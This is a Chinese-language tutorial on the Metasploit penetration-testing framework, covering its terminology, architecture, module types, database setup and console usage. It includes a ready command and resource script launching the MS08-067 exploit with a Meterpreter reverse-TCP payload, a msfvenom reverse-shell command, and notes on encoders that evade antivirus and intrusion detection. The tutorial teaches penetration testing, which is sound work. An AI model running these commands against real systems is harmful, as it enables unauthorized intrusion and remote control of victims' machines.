0x01 metasploit简介

目前流行、强大、具有扩展性的渗透测试框架,框架集成了渗透测试标砖(PETS)思想,一定程度上统一了渗透测试和漏洞研究的工作环境新的攻击代码可以很容易的经过二次开发后加入到框架中

0x02 专业术语

Exploit :渗透攻击

渗透攻击是我们去利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为

Payload : 攻击载荷

攻击载荷是我们期望目标系统在被渗透攻击后去执行的代码,在metasploit框架中可以自由地选择、传送和植入。如,反弹式shell是一种
从目标主机到攻击主机创建网络连接,并提供windows命令行的shell的攻击载荷,而bindshell攻击载荷则在目标主机上将命令行shell绑定
到一个打开的监听端口,我们可以连接这些端口来获取交互式shell。除此之外还有直小执行一些简单命令的攻击载荷,如添加账户之类的

Shellcode : shellcode是攻击时作为攻击载荷运行的一组机器指令,多数情况下,目标系统执行了shellcode这一组指令后,才会返回一个
命令行shell或者meterpreter shell

Module : 模块

一个模块是指metasploit框架中所使用的一段软件代码组件,例如漏洞利用模块(exploit module),做一些辅助工作的模块(auxiliary module)

Listener : 监听器

监听器是metasploit中用来等待连入网络连接的组件,例如在目标系统被我们打下来后,它可能会通过互联网回连到攻击主机上,监听器组件在攻击主机上
等待被渗透的主机来连接,负责处理这些网络连接

0x03 metasploit架构

metasploit总体架构如下:

TOOLS: 集成了各种实用工具,多为收集的其他软件,如nmap等

PLUGINS:各种插件多数为收集的其他软件,直接调用API,连接和调用外部扩展功能和系统

MODULES: 功能技术模块

MSF CORE: 提供metasploit核心的API,是框架的核心能力实现库

MSF BASE: 提供友好的API接口,便于模块调用的库

Rex LIBRARIES: 基本功能库,用于完成日常基本任务,无需人工手动编码实现,处理socket链接访问、协议应答(http/SSL/SMB等)
编码转换(XOR、base64、Unicode)

CLI: 表示命令行界面

GUI: 表示图形化界面

Console: 控制台用户界面

Web: 网页,不再支持

/usr/share/metasploit-framework/modules

技术功能模块(非流程模块)

Exploits: 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

Payloads: 攻击载荷,成功exploit之后,真正在目标系统执行的代码或指令

shellcode或系命令

三种payload: /usr/share/metasploit-framework/modules/payloads/

single : all-in-one

stager: 目标计算机内存有限时,先传输一个较小的payload用于简历链接

stages: 利用stager建立的链接下载的后续payload

stager 、stagers 都有多种类型。适用于不同场景

shellcode是payload的一种,用于建立正向/反向shell

Auxiliary: 执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有payload的exploit模块)

Encoders: 对payload进行加密,躲避AV检查的模块

Nops: 提高payload稳定性及维持大小

0x04 metasploit用户接口

metasploit软件为其基础提供了多个用户接口,包括终端、命令行和图形化等等…

MSF终端

MSF终端是一站式接口,可以访问Metastploit框架中的几乎每一个选项和配置,我们用它可以做很多事,进行一次漏洞利用、装载辅助模块
扫描探测、创建监听器等

1
2
3
msfconsole  启动msf终端

help connect 查看帮助

这里看到没有连接上数据库,需要做如下操作,使PostgreSQL数据库配置正常

启动PostgreSQL数据库服务:service postgresql start监听5432端口

初始化metasploit的数据库:msfdb init

查看数据库联接情况:msfconsole db_status

建立数据库缓存:msfconsole db_rebuild_cache

msf命令行

在早期由于考虑到对脚本处理和与其命令行工具的相互操作性,metasploit提供了msfcli,msfcli可以直接从命令行shell执行,允许将其他工具
的输出重定向至msfcli中,或者将msfcli输出重定向给其他的命令行工具。后来把这种方法直接替换成了msf 终端的-x选项

1
./msfconsole -x "use exploit/windows/ms08_067_netapi; set RHOST [ip]; set payload windows/meterpreter/reverse_tcp; set LHOST [ip]; run"

msf终端还有资源脚本和命令化(alias)特性,可以先编写自动化的脚本/home/scripts/reverse_tcp.rc

1
2
3
4
5
use exploit/windows/ms08_067_netapi
set RHOST [ip]
set payload windows/meterpreter/reverse_tcp
set LHOST [ip]
run

然后在msf终端上-r选项,执行如下命令

1
./msfconsole -r /home/scripts/reverse_tcp.rc

0x05 metasploit功能程序

metaploit的功能程序是在某些场合下,对metasploit框架中的一些特殊功能进行直接访问的接口,主要用在渗透代码的开发过程中

MSF攻击载荷生成器

MSF攻击载荷生成器允许你能够生成shellcode、可执行代码,如需查看msfvenom这个功能需要什么配置选项,可以用msfvenom -h如下

如果对某个攻击载荷模块不知道如何配置选项的时候,可以用payload-options可以列出所必须和可选的选项列表

1
msfvenom -p windows/shell_reverse_tcp --payload-options

MSF编码器

由MSF攻击载荷生成器产生的shellcode是可以运行的,不过其中包含了一些null空字符,在一些程序解析时,这些字符会被认为是字符串的结束
从而导致代码在完整执行之前被截断而终止运行\x00\xff字符会破坏攻击载荷

网络上明文传输的shellcode会被入侵检测系统(IDS)和杀毒软件识别,为了解决这类问题,metasploit提供了MSF编码器,用来对原始的
攻击载荷进行编码,来避免坏字符,逃避杀毒软件和IDS的检测

参考链接

http://renyyy.hellotom.top/articles/906/

https://xz.aliyun.com/t/3007

metasploit渗透测试指南

yuanfh